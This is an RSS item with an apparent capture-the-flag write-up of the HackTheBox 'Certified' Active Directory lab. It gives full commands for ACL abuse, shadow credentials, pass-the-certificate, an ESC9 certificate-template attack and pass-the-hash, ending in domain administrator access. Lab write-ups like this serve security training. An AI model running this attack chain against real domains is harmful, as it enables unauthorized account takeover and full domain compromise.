      <link>https://dev.to/mohamed_mo_f0979dd80f48c7/hackthebox-certified-writeup-1735</link>
      <guid>https://dev.to/mohamed_mo_f0979dd80f48c7/hackthebox-certified-writeup-1735</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdp5ii18ynz61xxfccodt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdp5ii18ynz61xxfccodt.png" alt=" " width="800" height="355"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Yoo Guys craches is baaaack, Just pwned Certified which is a Windows Active Directory machine focuses on abusing ACL misconfigurations and ADCS vulnerabilities. Throughout the exploitation process, we leverage multiple techniques including ACL-based attacks, ADCS attacks, shadow credentials, and pass-the-certificate. These weaknesses allow us to progressively escalate privileges and move laterally within the domain until achieving full compromise.&lt;/p&gt;

&lt;h1&gt;
  
  
  Enumeration
&lt;/h1&gt;

&lt;h4&gt;
  
  
  RustScan-Nmap
&lt;/h4&gt;

&lt;p&gt;Let’s start the enumeration:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjf82xxy8o7sovq688hoj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjf82xxy8o7sovq688hoj.png" alt=" " width="800" height="156"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ojonvj7jf82kobar63q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ojonvj7jf82kobar63q.png" alt=" " width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It’s clear that ports &lt;code&gt;88&lt;/code&gt;, &lt;code&gt;389&lt;/code&gt;, &lt;code&gt;445&lt;/code&gt;, and &lt;code&gt;53&lt;/code&gt; are open, which proves that we are dealing with a Domain Controller (DC).&lt;/p&gt;

&lt;p&gt;Also the we can see that the FQDN &lt;code&gt;dc01.certified.htb&lt;/code&gt; and the domain name &lt;code&gt;certified.htb&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Bloodhound
&lt;/h4&gt;

&lt;p&gt;Now we can use the credentials provided in the machine to start bloodhound:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bloodhound-python -u judith.mader -p 'judith09' -d certified.htb -c all -ns 10.129.17
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox4sdfq3s4vjrrn5xrhw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox4sdfq3s4vjrrn5xrhw.png" alt=" " width="800" height="190"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;let’s start our bloodhound&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BloodHound --no-sandbox
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can start by checking the Outbound permissions. After uploading the files we obtained, we mark our user &lt;code&gt;judith.mader&lt;/code&gt; as an owned user and begin our enumeration.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqanmyohrjs0sg5r53ac1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqanmyohrjs0sg5r53ac1.png" alt=" " width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzit6gr1rrgato3e7xq46.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzit6gr1rrgato3e7xq46.png" alt=" " width="800" height="320"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;we can notice that &lt;code&gt;judith.mader&lt;/code&gt; has &lt;code&gt;WriteOwner&lt;/code&gt; permission over the &lt;code&gt;Management group&lt;/code&gt;. This means that &lt;code&gt;judith.mader&lt;/code&gt; has the ability to modify the owner of the group,which can later be abused to gain additional privileges.&lt;/p&gt;

&lt;p&gt;1-Let’s make &lt;code&gt;judith.mader&lt;/code&gt; owner of &lt;code&gt;Management group&lt;/code&gt; using impacket-owneredit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;impacket-owneredit -action write -new-owner 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09' -dc-ip 10.129.231.186
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcz3y3e5i31yevsmdnvyi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcz3y3e5i31yevsmdnvyi.png" alt=" " width="800" height="86"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By doing this, &lt;code&gt;judith.mader&lt;/code&gt; becomes the owner of the group object, which gives us the ability to modify its ACLs.&lt;/p&gt;

&lt;p&gt;2-Granting WriteMembers Permission&lt;/p&gt;

&lt;p&gt;After becoming the owner, we modified the DACL of the group to grant our user the &lt;code&gt;WriteMembers&lt;/code&gt; permission using impacket-dacledit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09' -dc-ip 10.129.231.186
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kly8c2fjfebfwqiewhp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kly8c2fjfebfwqiewhp.png" alt=" " width="800" height="59"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This permission allows our user to add or remove members from the &lt;code&gt;Management group&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;3- Adding Our User to the Target Group&lt;/p&gt;

&lt;p&gt;Finally, we added &lt;code&gt;judith.mader&lt;/code&gt; to the &lt;code&gt;Management group&lt;/code&gt; using bloodyAD:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bloodyAD --host "10.129.231.186" -d "certified.htb" -u "judith.mader" -p "judith09" add groupMember "MANAGEMENT" "judith.mader"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa55dt5cv8qhc3tlinnru.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa55dt5cv8qhc3tlinnru.png" alt=" " width="800" height="42"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let’s see as &lt;code&gt;Management group&lt;/code&gt; owner what can we do&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv2ix7mz6xg7h74f2a9ql.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv2ix7mz6xg7h74f2a9ql.png" alt=" " width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Abusing GenericWrite Permission over a Service Account&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It’s obvious that &lt;code&gt;Management group&lt;/code&gt; has &lt;code&gt;GenericWrite&lt;/code&gt; permission over the &lt;code&gt;Management_svc&lt;/code&gt;,This is a critical finding because &lt;code&gt;GenericWrite&lt;/code&gt; allows us to modify sensitive attributes of the target account, which can be abused for privilege escalation.&lt;/p&gt;

&lt;p&gt;1-Performing a Shadow Credentials Attack&lt;/p&gt;

&lt;p&gt;I decided to perform a shadow credentials attack by injecting a malicious key credential into the &lt;code&gt;Management_svc&lt;/code&gt; account using pywhisker:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add" 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This attack modifies the msDS-KeyCredentialLink attribute of the target account, enabling certificate-based authentication.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi06erpetc2wdm5d2rc2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi06erpetc2wdm5d2rc2o.png" alt="As a result, we obtained a .pfx certificate file that can be used to impersonate the service account." width="800" height="161"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2-Obtaining a Kerberos TGT via Pass-the-Certificate&lt;/p&gt;

&lt;p&gt;With the generated certificate, we requested a Kerberos Ticket Granting Ticket (TGT) for the &lt;code&gt;Management_svc&lt;/code&gt; account using gettgtpkinit.py:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 gettgtpkinit.py -cert-pfx tR7jS332.pfx -pfx-pass 'KAcWM00HwJLCAiklYcBJ' -dc-ip 10.129.172.148 certified.htb/management_svc management_svc.ccache\
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flknsbmoc3tw15x955w8r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flknsbmoc3tw15x955w8r.png" alt="pass-the-certificate" width="800" height="124"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This technique is known as pass-the-certificate, which allows us to authenticate as the service account without knowing its password.&lt;/p&gt;

&lt;p&gt;Finally, we use the obtained TGT and export it to our environment in order to authenticate as the compromised service account.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfsgwnsi6qixkmcmcn92.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfsgwnsi6qixkmcmcn92.png" alt=" " width="800" height="100"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the Kerberos Ticket to Access the Target System&lt;/p&gt;

&lt;h4&gt;
  
  
  USER.txt Flag
&lt;/h4&gt;

&lt;p&gt;After exporting the Kerberos ticket, we configure Kerberos to use it by generating a proper krb5.conf file using nxc:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nxc smb 10.129.172.148 — generate-krb5-file krb5.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we use the Kerberos authentication with evil-winrm to obtain a remote shell on the target machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil-winrm -r certified.htb -i 10.129.172.148
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once we successfully authenticate, we gain access to the system and retrieve the user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;type C:\Users\management_svc\Desktop\user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, we have successfully leveraged the Kerberos ticket to obtain a shell and capture the user flag.&lt;/p&gt;

&lt;h4&gt;
  
  
  Lateral Movement
&lt;/h4&gt;

&lt;p&gt;Let’s check &lt;code&gt;Management_svc&lt;/code&gt; OUTBOUND OBJECT CONTROL using bloodhound:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foxtv79egli35902xvd5q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foxtv79egli35902xvd5q.png" alt="GenericAll over CA_OPERATOR" width="800" height="335"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We discovered that &lt;code&gt;Management_svc&lt;/code&gt; has &lt;code&gt;GenericAll&lt;/code&gt; permission over the &lt;code&gt;ca_operator&lt;/code&gt; account. This is a powerful privilege that allows full control over the target account, including the ability to reset its password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resetting the Password of the Target Account&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We exploited this permission by resetting the password of the &lt;code&gt;ca_operator&lt;/code&gt; account using bloodyAD:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bloodyAD --host dc01.certified.htb -d certified.htb -u management_svc -k set password CA_OPERATOR 'MO@ha123'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi8zfqnw2n60mhat73gey.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi8zfqnw2n60mhat73gey.png" alt=" " width="800" height="39"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we confirmed that ca_operator’s password has been successfully changed to &lt;code&gt;MO@ha123&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;However, BloodHound did not reveal any meaningful privileges assigned to &lt;code&gt;ca_operator&lt;/code&gt;. As a result, I moved on to enumerating vulnerable certificate templates using the &lt;code&gt;ca_operator&lt;/code&gt; account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Enumerating Vulnerable Certificate Templates&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Using the &lt;code&gt;ca_operator&lt;/code&gt; account, we enumerated the ADCS environment to identify vulnerable certificate templates by leveraging Certipy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;certipy-ad find -u 'CA_OPERATOR' -p MO@ha123 -dc-ip 10.129.172.148 -vulnerable -enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;SNIP&amp;gt;

    CA Name :     certified-DC01-CA

&amp;lt;SNIP&amp;gt;

Certificate Templates
    Template Name :    CertifiedAuthentication

&amp;lt;SNIP&amp;gt;

  Permissions
    Enrollment Permissions
      Enrollment Rights :   CERTIFIED.HTB\operator ca

&amp;lt;SNIP&amp;gt;

[!] Vulnerabilities
        ESC9      : 'CERTIFIED.HTB\\operator ca' can enroll
and template has no security extension
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The results revealed an enabled certificate template named &lt;strong&gt;CertifiedAuthentication&lt;/strong&gt; that is vulnerable to &lt;strong&gt;ESC9&lt;/strong&gt;. This vulnerability exists because the template lacks security extensions, making it possible to abuse it for privilege escalation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exploiting the ESC9 Vulnerability&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After confirming that the &lt;strong&gt;CertifiedAuthentication&lt;/strong&gt; template is vulnerable to &lt;strong&gt;ESC9&lt;/strong&gt;, we proceeded to exploit it to impersonate a privileged user.&lt;/p&gt;

&lt;p&gt;1-Modifying the UPN of the ca_operator Account&lt;/p&gt;

&lt;p&gt;First, we modified the User Principal Name (UPN) of the &lt;code&gt;ca_operator&lt;/code&gt;&lt;br&gt;
account to match the Administrator account. This is a crucial step in &lt;strong&gt;ESC9&lt;/strong&gt; exploitation, as it allows us to request a certificate that will be mapped to the Administrator account.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;certipy-ad account update -user ca_operator -upn Administrator -dc-ip 10.129.231.186 -target dc01.certified.htb -k
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr0500m3pwcmd0x12s1xj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr0500m3pwcmd0x12s1xj.png" alt=" " width="800" height="127"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2-Requesting a Certificate as Administrator&lt;/p&gt;

&lt;p&gt;Next, we requested a certificate from the vulnerable template using the modified &lt;code&gt;ca_operator&lt;/code&gt; account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;certipy-ad req -u ca_operator -p MO@ha123 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.129.231.186
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh364lb7gyjgawozarta2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh364lb7gyjgawozarta2.png" alt=" " width="800" height="115"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Because of the &lt;strong&gt;ESC9&lt;/strong&gt; misconfiguration, the issued certificate is effectively associated with the Administrator account.&lt;/p&gt;

&lt;p&gt;3-Authenticating as Administrator (Pass-the-Certificate)&lt;/p&gt;

&lt;p&gt;We then authenticate to the domain using the obtained certificate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;certipy-ad auth -pfx administrator.pfx -domain certified.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Certipy successfully retrieves the NTLM hash of the Administrator account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Got hash for ‘administrator@certified.htb’:&amp;lt;REDACTED&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4- Getting a Shell as Administrator&lt;/p&gt;

&lt;p&gt;Finally, we use the NTLM hash to log in as Administrator and retrieve the root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil-winrm -i certified.htb -u Administrator -H &amp;lt;REDACTED&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After gaining access, we obtain the root flag from:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;type C:\Users\Administrator\Desktop\root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4- Getting a Shell as Administrator&lt;/p&gt;

&lt;p&gt;Finally, we use the NTLM hash to log in as Administrator and retrieve the root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil-winrm -i certified.htb -u Administrator -H &amp;lt;REDACTED&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After gaining access, we obtain the root flag from:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;type C:\Users\Administrator\Desktop\root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fevqrmiqarmwjn1s14cem.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fevqrmiqarmwjn1s14cem.jpg" alt="root.txt" width="800" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At this point, we achieved full domain compromise.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>activedirectory</category>
      <category>redteam</category>
    </item>
  </channel>
</rss>
